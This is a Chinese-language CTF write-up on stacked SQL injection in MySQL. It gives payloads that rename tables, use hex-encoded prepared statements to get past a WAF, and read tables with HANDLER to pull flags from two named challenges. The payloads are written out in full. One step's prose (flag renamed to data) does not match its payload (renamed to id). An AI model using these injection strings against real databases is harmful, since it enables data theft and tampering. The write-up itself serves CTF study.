這題是用堆疊注入,同時也是借這題記錄一下CTF中堆疊注入的一些騷操作
以下部分內容轉載大佬的文章
show databases; 獲取數據庫名 show tables; 獲取表名 show columns from `table_name`; 獲取列名
繞過技巧
1、修改表名
用 “[強網杯 2019]隨便注” 為例, 這里有兩個表,一個是 ’ 1919810931114514 ‘ ,還有一個是’words‘ , words表中有id和data兩個字段,1919810931114514表中有flag的字段
因為可以看到回顯是兩個數據,猜測應該是words表
推測 內部語句應該是
select id,data from words where id='$id'
那么騷操作開始了,有點像偷天換日的意思
1、將words表名替換成其他的
2、然后將 `1919810931114514` 這個表名稱替換成words
3、在把flag這個字段替換成data
4、最后再插入一個id字段
最終的查詢結果就可以輸出我們構造的新的words了
payload 如下
1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(50);#
最后用 1' or 1=1# 把flag打印出來
2、預編譯
依舊是以“[強網杯 2019]隨便注” 為例,先構造一個sql語句,然后執行它,payload轉化成16進制繞過waf
1'; SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460; prepare execsql from @a; execute execsql;#
3、HANDLER
以 ”[GYCTF2020]Blacklist“ 為例,因為前面關鍵字都被禁用了,所以前面的payload都無效了
但是這里還有一種新姿勢,參考官方文檔
HANDLER ... OPEN
語句打開一個表,使其可以使用后續HANDLER ... READ
語句訪問,該表對象未被其他會話共享,並且在會話調用HANDLER ... CLOSE
或會話終止之前不會關閉
1'; HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#